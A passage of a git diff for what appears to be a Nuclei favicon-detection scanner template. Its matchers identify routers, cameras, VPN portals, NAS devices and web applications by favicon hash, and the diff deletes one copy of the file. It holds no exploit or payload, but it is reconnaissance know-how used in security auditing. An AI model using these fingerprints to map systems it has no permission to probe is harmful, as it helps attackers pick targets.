"d-link-network" dsl: - "status_code==200 && (\"-2031183903\" == mmh3(base64_py(body)))" - - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"545827989\" == mmh3(base64_py(body)))" - - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"967636089\" == mmh3(base64_py(body)))" - - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"362091310\" == mmh3(base64_py(body)))" - - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"2086228042\" == mmh3(base64_py(body)))" - - type: dsl name: "communigate" dsl: - "status_code==200 && (\"-1588746893\" == mmh3(base64_py(body)))" - - type: dsl name: "zte-network" dsl: - "status_code==200 && (\"1427976651\" == mmh3(base64_py(body)))" - - type: dsl name: "infinet-wireless-|-wanflex-network" dsl: - "status_code==200 && (\"1648531157\" == mmh3(base64_py(body)))" - - type: dsl name: "mersive-solstice" dsl: - "status_code==200 && (\"938616453\" == mmh3(base64_py(body)))" - - type: dsl name: "université-toulouse-1-capitole" dsl: - "status_code==200 && (\"1632780968\" == mmh3(base64_py(body)))" - - type: dsl name: "digium-switchvox" dsl: - "status_code==200 && (\"2068154487\" == mmh3(base64_py(body)))" - - type: dsl name: "powermta-monitoring" dsl: - "status_code==200 && (\"-1788112745\" == mmh3(base64_py(body)))" - - type: dsl name: "smartlan/g" dsl: - "status_code==200 && (\"-644617577\" == mmh3(base64_py(body)))" - - type: dsl name: "checkpoint-gaia" dsl: - "status_code==200 && (\"-1822098181\" == mmh3(base64_py(body)))" - - type: dsl name: "mailwizz" dsl: - "status_code==200 && (\"2127152956\" == mmh3(base64_py(body)))" - - type: dsl name: "rabbitmq" dsl: - "status_code==200 && (\"1064742722\" == mmh3(base64_py(body)))" - - type: dsl name: "openmediavault-nas" dsl: - "status_code==200 && (\"-693082538\" == mmh3(base64_py(body)))" - - type: dsl name: "openwrt-luci" dsl: - "status_code==200 && (\"1941381095\" == mmh3(base64_py(body)))" - - type: dsl name: "honeywell" dsl: - "status_code==200 && (\"903086190\" == mmh3(base64_py(body)))" - - type: dsl name: "bomgar-support-portal" dsl: - "status_code==200 && (\"829321644\" == mmh3(base64_py(body)))" - - type: dsl name: "nuxt-js" dsl: - "status_code==200 && (\"-1442789563\" == mmh3(base64_py(body)))" - - type: dsl name: "roundcube-webmail" dsl: - "status_code==200 && (\"-2140379067\" == mmh3(base64_py(body)))" - - type: dsl name: "d-link-camera" dsl: - "status_code==200 && (\"-1897829998\" == mmh3(base64_py(body)))" - - type: dsl name: "netgear-network" dsl: - "status_code==200 && (\"1047213685\" == mmh3(base64_py(body)))" - - type: dsl name: "sonarqube" dsl: - "status_code==200 && (\"1485257654\" == mmh3(base64_py(body)))" - - type: dsl name: "lupus-electronics-xt" dsl: - "status_code==200 && (\"-299324825\" == mmh3(base64_py(body)))" - - type: dsl name: "vanderbilt-spc" dsl: - "status_code==200 && (\"-1162730477\" == mmh3(base64_py(body)))" - - type: dsl name: "vzpp-plesk" dsl: - "status_code==200 && (\"-1268095485\" == mmh3(base64_py(body)))" - - type: dsl name: "baidu" dsl: - "status_code==200 && (\"1118684072\" == mmh3(base64_py(body)))" - - type: dsl name: "owncloud" dsl: - "status_code==200 && (\"-1616115760\" == mmh3(base64_py(body)))" - - type: dsl name: "sentora" dsl: - "status_code==200 && (\"-2054889066\" == mmh3(base64_py(body)))" - - type: dsl name: "alfresco" dsl: - "status_code==200 && (\"1333537166\" == mmh3(base64_py(body)))" - - type: dsl name: "digital-keystone-dk" dsl: - "status_code==200 && (\"-373674173\" == mmh3(base64_py(body)))" - - type: dsl name: "wispr-airlan" dsl: - "status_code==200 && (\"-106646451\" == mmh3(base64_py(body)))" - - type: dsl name: "synology-vpn-plus" dsl: - "status_code==200 && (\"1235070469\" == mmh3(base64_py(body)))" - - type: dsl name: "sentry" dsl: - "status_code==200 && (\"2063428236\" == mmh3(base64_py(body)))" - - type: dsl name: "watchguard" dsl: - "status_code==200 && (\"15831193\" == mmh3(base64_py(body)))" - - type: dsl name: "web-client-pro" dsl: - "status_code==200 && (\"-956471263\" == mmh3(base64_py(body)))" - - type: dsl name: "tecvoz" dsl: - "status_code==200 && (\"-1452159623\" == mmh3(base64_py(body)))" - - type: dsl name: "mdaemon-remote-administration" dsl: - "status_code==200 && (\"99432374\" == mmh3(base64_py(body)))" - - type: dsl name: "paradox-ip-module" dsl: - "status_code==200 && (\"727253975\" == mmh3(base64_py(body)))" - - type: dsl name: "dokuwiki" dsl: - "status_code==200 && (\"-630493013\" == mmh3(base64_py(body)))" - - type: dsl name: "sails" dsl: - "status_code==200 && (\"552597979\" == mmh3(base64_py(body)))" - - type: dsl name: "fastpanel-hosting" dsl: - "status_code==200 && (\"774252049\" == mmh3(base64_py(body)))" - - type: dsl name: "c-lodop" dsl: - "status_code==200 && (\"-329747115\" == mmh3(base64_py(body)))" - - type: dsl name: "jamf-pro-login" dsl: - "status_code==200 && (\"1262005940\" == mmh3(base64_py(body)))" - - type: dsl name: "struxureware-schneider-electric" dsl: - "status_code==200 && (\"979634648\" == mmh3(base64_py(body)))" - - type: dsl name: "axcient-replibit-management-server" dsl: - "status_code==200 && (\"475379699\" == mmh3(base64_py(body)))" - - type: dsl name: "twonky-server-media-streaming" dsl: - "status_code==200 && (\"-878891718\" == mmh3(base64_py(body)))" - - type: dsl name: "windows-azure" dsl: - "status_code==200 && (\"-2125083197\" == mmh3(base64_py(body)))" - - type: dsl name: "isp-manager-web-hosting-panel" dsl: - "status_code==200 && (\"-1151675028\" == mmh3(base64_py(body)))" - - type: dsl name: "jupyterhub" dsl: - "status_code==200 && (\"1248917303\" == mmh3(base64_py(body)))" - - type: dsl name: "centurylink-modem-gui-login-eg" dsl: - "status_code==200 && (\"-1908556829\" == mmh3(base64_py(body)))" - - type: dsl name: "tecvoz" dsl: - "status_code==200 && (\"1059329877\" == mmh3(base64_py(body)))" - - type: dsl name: "opnsense" dsl: - "status_code==200 && (\"-1148190371\" == mmh3(base64_py(body)))" - - type: dsl name: "ligowave-network" dsl: - "status_code==200 && (\"1467395679\" == mmh3(base64_py(body)))" - - type: dsl name: "rumpus" dsl: - "status_code==200 && (\"-1528414776\" == mmh3(base64_py(body)))" - - type: dsl name: "spiceworks-panel" dsl: - "status_code==200 && (\"-2117390767\" == mmh3(base64_py(body)))" - - type: dsl name: "teamcity" dsl: - "status_code==200 && (\"-1944119648\" == mmh3(base64_py(body)))" - - type: dsl name: "instar-full-hd-ip-camera" dsl: - "status_code==200 && (\"-1748763891\" == mmh3(base64_py(body)))" - - type: dsl name: "gpon-home-gateway" dsl: - "status_code==200 && (\"251106693\" == mmh3(base64_py(body)))" - - type: dsl name: "alienvault" dsl: - "status_code==200 && (\"-1779611449\" == mmh3(base64_py(body)))" - - type: dsl name: "arbor-networks" dsl: - "status_code==200 && (\"-1745552996\" == mmh3(base64_py(body)))" - - type: dsl name: "accrisoft" dsl: - "status_code==200 && (\"-1275148624\" == mmh3(base64_py(body)))" - - type: dsl name: "yasni" dsl: - "status_code==200 && (\"-178685903\" == mmh3(base64_py(body)))" - - type: dsl name: "slack" dsl: - "status_code==200 && (\"-43161126\" == mmh3(base64_py(body)))" - - type: dsl name: "innovaphone" dsl: - "status_code==200 && (\"671221099\" == mmh3(base64_py(body)))" - - type: dsl name: "shinobi-cctv" dsl: - "status_code==200 && (\"-10974981\" == mmh3(base64_py(body)))" - - type: dsl name: "tp-link-network-device" dsl: - "status_code==200 && (\"1274078387\" == mmh3(base64_py(body)))" - - type: dsl name: "siemens-ozw772" dsl: - "status_code==200 && (\"-336242473\" == mmh3(base64_py(body)))" - - type: dsl name: "lantronix-spider" dsl: - "status_code==200 && (\"882208493\" == mmh3(base64_py(body)))" - - type: dsl name: "claimtime-ramsell-public-health-&-safety" dsl: - "status_code==200 && (\"-687783882\" == mmh3(base64_py(body)))" - - type: dsl name: "surfilter-ssl-vpn-portal" dsl: - "status_code==200 && (\"-590892202\" == mmh3(base64_py(body)))" - - type: dsl name: "kyocera-printer" dsl: - "status_code==200 && (\"-50306417\" == mmh3(base64_py(body)))" - - type: dsl name: "lucee!" dsl: - "status_code==200 && (\"784872924\" == mmh3(base64_py(body)))" - - type: dsl name: "ricoh" dsl: - "status_code==200 && (\"1135165421\" == mmh3(base64_py(body)))" - - type: dsl name: "handle-proxy" dsl: - "status_code==200 && (\"926501571\" == mmh3(base64_py(body)))" - - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"579239725\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-689902428\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-600508822\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"656868270\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-2056503929\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-1656695885\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"331870709\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"1241049726\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"998138196\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"322531336\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-401934945\" == mmh3(base64_py(body)))" - - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-613216179\" == mmh3(base64_py(body)))" - - type: dsl name: "chef-automate" dsl: - "status_code==200 && (\"-276759139\" == mmh3(base64_py(body)))" - - type: dsl name: "gargoyle-router-management-utility" dsl: - "status_code==200 && (\"1862132268\" == mmh3(base64_py(body)))" - - type: dsl name: "keepitsafe-management-console" dsl: - "status_code==200 && (\"-1738727418\" == mmh3(base64_py(body)))" - - type: dsl name: "entronix-energy-management-platform" dsl: - "status_code==200 && (\"-368490461\" == mmh3(base64_py(body)))" - - type: dsl name: "openproject" dsl: - "status_code==200 && (\"1836828108\" == mmh3(base64_py(body)))" - - type: dsl name: "unified-management-console-polycom" dsl: - "status_code==200 && (\"-1775553655\" == mmh3(base64_py(body)))" - - type: dsl name: "moxapass-iologik-remote-ethernet-i/o-server-" dsl: - "status_code==200 && (\"381100274\" == mmh3(base64_py(body)))" - - type: dsl name: "hfs-http-file-server" dsl: - "status_code==200 && (\"2124459909\" == mmh3(base64_py(body)))" - - type: dsl name: "hfs-http-file-server" dsl: - "status_code==200 && (\"731374291\" == mmh3(base64_py(body)))" - - type: dsl name: "traccar-gps-tracking" dsl: - "status_code==200 && (\"-335153896\" == mmh3(base64_py(body)))" - - type: dsl name: "iw" dsl: - "status_code==200 && (\"896412703\" == mmh3(base64_py(body)))" - - type: dsl name: "wordpress-under-construction-icon" dsl: - "status_code==200 && (\"191654058\" == mmh3(base64_py(body)))" - - type: dsl name: "combivox" dsl: - "status_code==200 && (\"-342262483\" == mmh3(base64_py(body)))" - - type: dsl name: "netcomwireless-network" dsl: - "status_code==200 && (\"5542029\" == mmh3(base64_py(body)))" - - type: dsl name: "elastic-database" dsl: - "status_code==200 && (\"1552860581\" == mmh3(base64_py(body)))" - - type: dsl name: "drupal" dsl: - "status_code==200 && (\"1174841451\" == mmh3(base64_py(body)))" - - type: dsl name: "truvision-nvr" dsl: - "status_code==200 && (\"-1093172228\" == mmh3(base64_py(body)))" - - type: dsl name: "spamexperts" dsl: - "status_code==200 && (\"-1688698891\" == mmh3(base64_py(body)))" - - type: dsl name: "sonatype-nexus-repository-manager" dsl: - "status_code==200 && (\"-1546574541\" == mmh3(base64_py(body)))" - - type: dsl name: "idirect-canada-network-management" dsl: - "status_code==200 && (\"-256828986\" == mmh3(base64_py(body)))" - - type: dsl name: "openerp-now-known-as-odoo" dsl: - "status_code==200 && (\"1966198264\" == mmh3(base64_py(body)))" - - type: dsl name: "pkp-openjournalsystems-public-knowledge-project" dsl: - "status_code==200 && (\"2099342476\" == mmh3(base64_py(body)))" - - type: dsl name: "liquidfiles" dsl: - "status_code==200 && (\"541087742\" == mmh3(base64_py(body)))" - - type: dsl name: "zyxel-network" dsl: - "status_code==200 && (\"-882760066\" == mmh3(base64_py(body)))" - - type: dsl name: "universal-devices-ud" dsl: - "status_code==200 && (\"16202868\" == mmh3(base64_py(body)))" - - type: dsl name: "huawei-network" dsl: - "status_code==200 && (\"987967490\" == mmh3(base64_py(body)))" - - type: dsl name: "gm77[.]com" dsl: - "status_code==200 && (\"-647318973\" == mmh3(base64_py(body)))" - - type: dsl name: "okazik[.]pl" dsl: - "status_code==200 && (\"-1583478052\" == mmh3(base64_py(body)))" - - type: dsl name: "gitea" dsl: - "status_code==200 && (\"1969970750\" == mmh3(base64_py(body)))" - - type: dsl name: "tc-group" dsl: - "status_code==200 && (\"-1734573358\" == mmh3(base64_py(body)))" - - type: dsl name: "deluge-web-ui" dsl: - "status_code==200 && (\"-1589842876\" == mmh3(base64_py(body)))" - - type: dsl name: "登录-amh" dsl: - "status_code==200 && (\"1822002133\" == mmh3(base64_py(body)))" - - type: dsl name: "otrs-open-ticket-request-system" dsl: - "status_code==200 && (\"-2006308185\" == mmh3(base64_py(body)))" - - type: dsl name: "bosch-security-systems-camera" dsl: - "status_code==200 && (\"-1702769256\" == mmh3(base64_py(body)))" - - type: dsl name: "node-red" dsl: - "status_code==200 && (\"321591353\" == mmh3(base64_py(body)))" - - type: dsl name: "motioneye-camera" dsl: - "status_code==200 && (\"-923693877\" == mmh3(base64_py(body)))" - - type: dsl name: "saia-burgess-controls-pcd" dsl: - "status_code==200 && (\"-1547576879\" == mmh3(base64_py(body)))" - - type: dsl name: "arcadyan-o2-box-network" dsl: - "status_code==200 && (\"1479202414\" == mmh3(base64_py(body)))" - - type: dsl name: "d-link-network" dsl: - "status_code==200 && (\"1081719753\" == mmh3(base64_py(body)))" - - type: dsl name: "abilis-network/automation" dsl: - "status_code==200 && (\"-166151761\" == mmh3(base64_py(body)))" - - type: dsl name: "ghost-cms" dsl: - "status_code==200 && (\"-1231681737\" == mmh3(base64_py(body)))" - - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"321909464\" == mmh3(base64_py(body)))" - - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"-1153873472\" == mmh3(base64_py(body)))" - - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"1095915848\" == mmh3(base64_py(body)))" - - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"788771792\" == mmh3(base64_py(body)))" - - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"-1863663974\" == mmh3(base64_py(body)))" - - type: dsl name: "keyhelp-keyweb-ag" dsl: - "status_code==200 && (\"-1267819858\" == mmh3(base64_py(body)))" - - type: dsl name: "keyhelp-keyweb-ag" dsl: - "status_code==200 && (\"726817668\" == mmh3(base64_py(body)))" - - type: dsl name: "glpi" dsl: - "status_code==200 && (\"-1474875778\" == mmh3(base64_py(body)))" - - type: dsl name: "netcom-technology" dsl: - "status_code==200 && (\"5471989\" == mmh3(base64_py(body)))" - - type: dsl name: "cradlepoint" dsl: - "status_code==200 && (\"-1457536113\" == mmh3(base64_py(body)))" - - type: dsl name: "myasp" dsl: - "status_code==200 && (\"-736276076\" == mmh3(base64_py(body)))" - - type: dsl name: "intelbras-sa" dsl: - "status_code==200 && (\"-1343070146\" == mmh3(base64_py(body)))" - - type: dsl name: "lenel" dsl: - "status_code==200 && (\"538585915\" == mmh3(base64_py(body)))" - - type: dsl name: "okofen-pellematic" dsl: - "status_code==200 && (\"-625364318\" == mmh3(base64_py(body)))" - - type: dsl name: "simplehelp-remote-support" dsl: - "status_code==200 && (\"1117165781\" == mmh3(base64_py(body)))" - - type: dsl name: "graphql" dsl: - "status_code==200 && (\"-1067420240\" == mmh3(base64_py(body)))" - - type: dsl name: "dnn-cms" dsl: - "status_code==200 && (\"-1465479343\" == mmh3(base64_py(body)))" - - type: dsl name: "apple" dsl: - "status_code==200 && (\"1232159009\" == mmh3(base64_py(body)))" - - type: dsl name: "apple" dsl: - "status_code==200 && (\"1382324298\" == mmh3(base64_py(body)))" - - type: dsl name: "apple" dsl: - "status_code==200 && (\"-1498185948\" == mmh3(base64_py(body)))" - - type: dsl name: "ispconfig" dsl: - "status_code==200 && (\"483383992\" == mmh3(base64_py(body)))" - - type: dsl name: "microsoft-outlook" dsl: - "status_code==200 && (\"-1249852061\" == mmh3(base64_py(body)))" - - type: dsl name: "possibly-dvr" dsl: - "status_code==200 && (\"999357577\" == mmh3(base64_py(body)))" - - type: dsl name: "possible-ip-camera" dsl: - "status_code==200 && (\"492290497\" == mmh3(base64_py(body)))" - - type: dsl name: "dvr" dsl: - "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))" - - type: dsl name: "One Identity Password Manager" dsl: - "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Kaseya" - dsl: - - "status_code==200 && (\"-1445519482\" == mmh3(base64_py(body)))" - - - type: dsl - name: "OpenSNS" - dsl: - - "status_code==200 && (\"1167011145\" == mmh3(base64_py(body)))" - - - type: dsl - name: "SpamSniper" - dsl: - - "status_code==200 && (\"-1000719429\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Selea-ANPR-Camera" - dsl: - - "status_code==200 && (\"-41369781\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Selea-CarPlateServer" - dsl: - - "status_code==200 && (\"-656528622\" == mmh3(base64_py(body)))" - - - type: dsl - name: "KevinLAB" - dsl: - - "status_code==200 && (\"-1650202746\" == mmh3(base64_py(body)))" - - - type: dsl - name: "qdPM" - dsl: - - "status_code==200 && (\"762074255\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cisco-ucs" - dsl: - - "status_code==200 && (\"-521603470\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vmware-Workspace-ONE-Access" - dsl: - - "status_code==200 && (\"-1250474341\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mspcontrol" - dsl: - - "status_code==200 && (\"331817455\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Ionic" - dsl: - - "status_code==200 && (\"-1698328762\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Tufin-SecureTrack" - dsl: - - "status_code==200 && (\"-1238669242\" == mmh3(base64_py(body)))" - - - type: dsl - name: "WSO2-api-manager" - dsl: - - "status_code==200 && (\"1398055326\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Synapse-Mobility" - dsl: - - "status_code==200 && (\"-2015389528\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Gradle-enterprise" - dsl: - - "status_code==200 && (\"1614287628\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Kubernetes-Operational-View" - dsl: - - "status_code==200 && (\"2130463260\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Rancher" - dsl: - - "status_code==200 && (\"464587962\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Emby" - dsl: - - "status_code==200 && (\"902188936\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Zimbra" - dsl: - - "status_code==200 && (\"1624375939\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ICT Protege WX" - dsl: - - "status_code==200 && (\"1841044852\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Coverity" - dsl: - - "status_code==200 && (\"-994319624\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Aqua Enterprise" - dsl: - - "status_code==200 && (\"-1261322577\" == mmh3(base64_py(body)))" diff --git a/poc/detect/favicon-detection-7444.yaml b/poc/detect/favicon-detection-7444.yaml deleted file mode 100644 index 3cf1e620d8..0000000000 --- a/poc/detect/favicon-detection-7444.yaml +++ /dev/null @@ -1,2562 +0,0 @@ -id: favicon-detection - -info: - name: favicon-detection - severity: info - author: un-fmunozs - reference: - - https://twitter.com/brsn76945860/status/1171233054951501824 - - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a - - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 - - https://github.com/devanshbatham/FavFreak - - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv - tags: tech,favicon - -requests: - - method: GET - path: - - "{{BaseURL}}/favicon.ico" - - redirects: true - max-redirects: 2 - - matchers: - - type: dsl - name: proxmox - dsl: - - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))" - - - type: dsl - name: blogger - dsl: - - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))" - - - type: dsl - name: oracle - dsl: - - "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))" - - - type: dsl - name: hitachi - dsl: - - "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))" - - - type: dsl - name: meinberg - dsl: - - "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))" - - - type: dsl - name: "slack-instance" - dsl: - - "status_code==200 && (\"99395752\" == mmh3(base64_py(body)))" - - - type: dsl - name: "spring-boot" - dsl: - - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jenkins" - dsl: - - "status_code==200 && (\"81586312\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cnservers-llc" - dsl: - - "status_code==200 && (\"-235701012\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian" - dsl: - - "status_code==200 && (\"743365239\" == mmh3(base64_py(body)))" - - - type: dsl - name: "chainpoint" - dsl: - - "status_code==200 && (\"2128230701\" == mmh3(base64_py(body)))" - - - type: dsl - name: "lacie" - dsl: - - "status_code==200 && (\"-1277814690\" == mmh3(base64_py(body)))" - - - type: dsl - name: "parse" - dsl: - - "status_code==200 && (\"246145559\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian" - dsl: - - "status_code==200 && (\"628535358\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jira" - dsl: - - "status_code==200 && (\"855273746\" == mmh3(base64_py(body)))" - - - type: dsl - name: "avigilon" - dsl: - - "status_code==200 && (\"1318124267\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian-confluence" - dsl: - - "status_code==200 && (\"-305179312\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openstack" - dsl: - - "status_code==200 && (\"786533217\" == mmh3(base64_py(body)))" - - - type: dsl - name: "pi-star" - dsl: - - "status_code==200 && (\"432733105\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian" - dsl: - - "status_code==200 && (\"705143395\" == mmh3(base64_py(body)))" - - - type: dsl - name: "angular-io-angularjs" - dsl: - - "status_code==200 && (\"-1255347784\" == mmh3(base64_py(body)))" - - - type: dsl - name: "xampp" - dsl: - - "status_code==200 && (\"-1275226814\" == mmh3(base64_py(body)))" - - - type: dsl - name: "react" - dsl: - - "status_code==200 && (\"-2009722838\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian-jira" - dsl: - - "status_code==200 && (\"981867722\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openstack" - dsl: - - "status_code==200 && (\"-923088984\" == mmh3(base64_py(body)))" - - - type: dsl - name: "aplikasi" - dsl: - - "status_code==200 && (\"494866796\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ubiquiti-aircube" - dsl: - - "status_code==200 && (\"1249285083\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian-bamboo" - dsl: - - "status_code==200 && (\"-1379982221\" == mmh3(base64_py(body)))" - - - type: dsl - name: "exostar-managed-access-gateway" - dsl: - - "status_code==200 && (\"420473080\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian-confluence" - dsl: - - "status_code==200 && (\"-1642532491\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cisco-meraki" - dsl: - - "status_code==200 && (\"163842882\" == mmh3(base64_py(body)))" - - - type: dsl - name: "archivematica" - dsl: - - "status_code==200 && (\"-1378182799\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tcn" - dsl: - - "status_code==200 && (\"-702384832\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cx" - dsl: - - "status_code==200 && (\"-532394952\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ace" - dsl: - - "status_code==200 && (\"-183163807\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian-jira" - dsl: - - "status_code==200 && (\"552727997\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netdata" - dsl: - - "status_code==200 && (\"1302486561\" == mmh3(base64_py(body)))" - - - type: dsl - name: "opengeo-suite" - dsl: - - "status_code==200 && (\"-609520537\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dgraph-ratel" - dsl: - - "status_code==200 && (\"-1961046099\" == mmh3(base64_py(body)))" - - - type: dsl - name: "atlassian-jira" - dsl: - - "status_code==200 && (\"-1581907337\" == mmh3(base64_py(body)))" - - - type: dsl - name: "material-dashboard" - dsl: - - "status_code==200 && (\"1913538826\" == mmh3(base64_py(body)))" - - - type: dsl - name: "form.io" - dsl: - - "status_code==200 && (\"1319699698\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kubeflow" - dsl: - - "status_code==200 && (\"-1203021870\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netdata-dashboard" - dsl: - - "status_code==200 && (\"-182423204\" == mmh3(base64_py(body)))" - - - type: dsl - name: "caprover" - dsl: - - "status_code==200 && (\"988422585\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wijungle" - dsl: - - "status_code==200 && (\"2113497004\" == mmh3(base64_py(body)))" - - - type: dsl - name: "onera" - dsl: - - "status_code==200 && (\"1234311970\" == mmh3(base64_py(body)))" - - - type: dsl - name: "smartping" - dsl: - - "status_code==200 && (\"430582574\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openstack" - dsl: - - "status_code==200 && (\"1232596212\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netdata-dashboard" - dsl: - - "status_code==200 && (\"1585145626\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fritz!box" - dsl: - - "status_code==200 && (\"-219752612\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ubiquiti-airos" - dsl: - - "status_code==200 && (\"-697231354\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fortinet-forticlient" - dsl: - - "status_code==200 && (\"945408572\" == mmh3(base64_py(body)))" - - - type: dsl - name: "outlook-web-application" - dsl: - - "status_code==200 && (\"1768726119\" == mmh3(base64_py(body)))" - - - type: dsl - name: "huawei-claro" - dsl: - - "status_code==200 && (\"2109473187\" == mmh3(base64_py(body)))" - - - type: dsl - name: "asus-aicloud" - dsl: - - "status_code==200 && (\"552592949\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sonicwall" - dsl: - - "status_code==200 && (\"631108382\" == mmh3(base64_py(body)))" - - - type: dsl - name: "google" - dsl: - - "status_code==200 && (\"708578229\" == mmh3(base64_py(body)))" - - - type: dsl - name: "plesk" - dsl: - - "status_code==200 && (\"-134375033\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dahua-storm-ip-camera" - dsl: - - "status_code==200 && (\"2019488876\" == mmh3(base64_py(body)))" - - - type: dsl - name: "huawei-adsl/router" - dsl: - - "status_code==200 && (\"-1395400951\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sophos-cyberoam-appliance" - dsl: - - "status_code==200 && (\"1601194732\" == mmh3(base64_py(body)))" - - - type: dsl - name: "lancom-systems" - dsl: - - "status_code==200 && (\"-325082670\" == mmh3(base64_py(body)))" - - - type: dsl - name: "plesk" - dsl: - - "status_code==200 && (\"-1050786453\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tilginab-homegateway" - dsl: - - "status_code==200 && (\"-1346447358\" == mmh3(base64_py(body)))" - - - type: dsl - name: "supermicro-intelligent-management-ipmi" - dsl: - - "status_code==200 && (\"1410610129\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zyxel-zywall" - dsl: - - "status_code==200 && (\"-440644339\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dell-sonicwall" - dsl: - - "status_code==200 && (\"363324987\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ubiquiti-login-portals" - dsl: - - "status_code==200 && (\"-1446794564\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sophos-user-portal/vpn-portal" - dsl: - - "status_code==200 && (\"1045696447\" == mmh3(base64_py(body)))" - - - type: dsl - name: "apache-tomcat" - dsl: - - "status_code==200 && (\"-297069493\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openvpn" - dsl: - - "status_code==200 && (\"396533629\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cyberoam" - dsl: - - "status_code==200 && (\"1462981117\" == mmh3(base64_py(body)))" - - - type: dsl - name: "asp.net-favicon" - dsl: - - "status_code==200 && (\"1772087922\" == mmh3(base64_py(body)))" - - - type: dsl - name: "technicolor" - dsl: - - "status_code==200 && (\"1594377337\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vodafone-technicolor" - dsl: - - "status_code==200 && (\"165976831\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ubnt-router-ui" - dsl: - - "status_code==200 && (\"-1677255344\" == mmh3(base64_py(body)))" - - - type: dsl - name: "intelbras-wireless" - dsl: - - "status_code==200 && (\"-359621743\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kerio-connect-webmail" - dsl: - - "status_code==200 && (\"-677167908\" == mmh3(base64_py(body)))" - - - type: dsl - name: "big-ip" - dsl: - - "status_code==200 && (\"878647854\" == 